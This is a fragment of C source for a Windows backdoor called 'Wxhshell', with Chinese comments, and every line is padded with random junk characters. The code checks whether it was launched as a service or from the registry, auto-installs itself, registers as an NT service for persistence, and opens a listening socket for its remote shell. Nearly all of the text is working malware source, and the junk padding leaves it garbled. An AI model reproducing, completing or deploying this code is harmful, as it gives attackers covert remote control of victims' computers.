PROCNTQSIP NtQueryInformationProcess; #DpDmMP9R3
-m)N~>{qS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $J&wwP[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =xScHy{$
azKbGS/X
HANDLE hProcess; K?:rrd=7q
PROCESS_BASIC_INFORMATION pbi; i6M_Gk}
msOk~ZPE6\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 74hGkf^S
if(NULL == hInst ) return 0; CsG1HR@
W-zD1q~0?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AGkk|`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yg\bCvL&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K4NB#
YpMQY-n
if (!NtQueryInformationProcess) return 0; ?khwupdi
=qiX0JT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pB;)Hii\
if(!hProcess) return 0; J(F]?H
:{?8rA5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R4v)}`x
YFgQ!\&59
CloseHandle(hProcess); V}(snG,
[ah%>&u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Q%C>
if(hProcess==NULL) return 0; =o]V!MW
s,>1n0a
HMODULE hMod; tep_g4CQR_
char procName[255]; v[WbQ5AND
unsigned long cbNeeded; 7@al)G;~
"MZj}}l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8" l9W=
1V(tt{
CloseHandle(hProcess); l&cYN2T
b
IBm&a^
if(strstr(procName,"services")) return 1; // 以服务启动 SOQm>\U'i
h3Kv0^{
return 0; // 注册表启动 wZN<Og+;
} xB"o
7,
N4Yvt&
// 主模块 |Z}uN!Jm
int StartWxhshell(LPSTR lpCmdLine) S?*pCJ0
{ Kt3/C'zu
SOCKET wsl; \Ku6gEy
BOOL val=TRUE; !Ziq^o.
int port=0; "Wd?U[[
struct sockaddr_in door; kr2V
|mvy@hm
if(wscfg.ws_autoins) Install(); 6-C9[[g<
CI$pPY<u1
port=atoi(lpCmdLine); -ZqN~5>j)
"2:]9j
if(port<=0) port=wscfg.ws_port; sIpq
I4
dS,h
WSADATA data; xgP/BK2"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z{nJ\`
H@Dj$U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _uU}J5d.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >!:uVS
door.sin_family = AF_INET; TGx:#x*k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @A6P[r
door.sin_port = htons(port); :=x-b3U
X]d["
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l?E7'OEF:
closesocket(wsl); WF#eqU*&
return 1; hKP!;R
} #MYhKySku
wlr/zquAE9
if(listen(wsl,2) == INVALID_SOCKET) { \P% E1c#
closesocket(wsl); !DFT}eu
return 1; `ro~l_U;A
} ;KqH]h)
Wxhshell(wsl); 7+';&2M)n~
WSACleanup(); Nq
%@(K
. zf#S0y%(
return 0; R /J@XP
7A@GNA
} <}x_F)E[t
Kc~h
// 以NT服务方式启动 Ru8k2d$B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9fR`un)f}
{ @MMk=/WDw
DWORD status = 0; Cw "Y=`
DWORD specificError = 0xfffffff; /-BKdkBCpZ
+$R4'{9q
serviceStatus.dwServiceType = SERVICE_WIN32; g2;!AI5f
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `?)ivy>\:
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |f+|OZY
serviceStatus.dwWin32ExitCode = 0; "@IrBi6
serviceStatus.dwServiceSpecificExitCode = 0; 1s5FjD?M
serviceStatus.dwCheckPoint = 0; A?I/[zkc
serviceStatus.dwWaitHint = 0; }& ;49k
8$</HNu,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a~>.
if (hServiceStatusHandle==0) return; /y/O&`X(
1"k"<{%
status = GetLastError(); 3_k.`s_Z
if (status!=NO_ERROR) NUH;\*]8s
{ Yg_;Eu0'?
serviceStatus.dwCurrentState = SERVICE_STOPPED; F!m/n!YR
serviceStatus.dwCheckPoint = 0; ge*(w{|x
serviceStatus.dwWaitHint = 0; *3 .+19Q
serviceStatus.dwWin32ExitCode = status; ZZ/F}9!=
serviceStatus.dwServiceSpecificExitCode = specificError; /.!ytHw8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^
UQ{P1;
return; *h59Vaoc
} B?d^JWTZ
P~Ss\PT
serviceStatus.dwCurrentState = SERVICE_RUNNING; bs{i@1$
serviceStatus.dwCheckPoint = 0; Hrb67a%b
serviceStatus.dwWaitHint = 0; E#'JYz@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uA#uq^3
} Wp!#OY1?
.Y!]{c
// 处理NT服务事件,比如:启动、停止 w@ 1g_dy
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9I3vW]0x[
{ q1C) *8*g
switch(fdwControl) a "*DJ&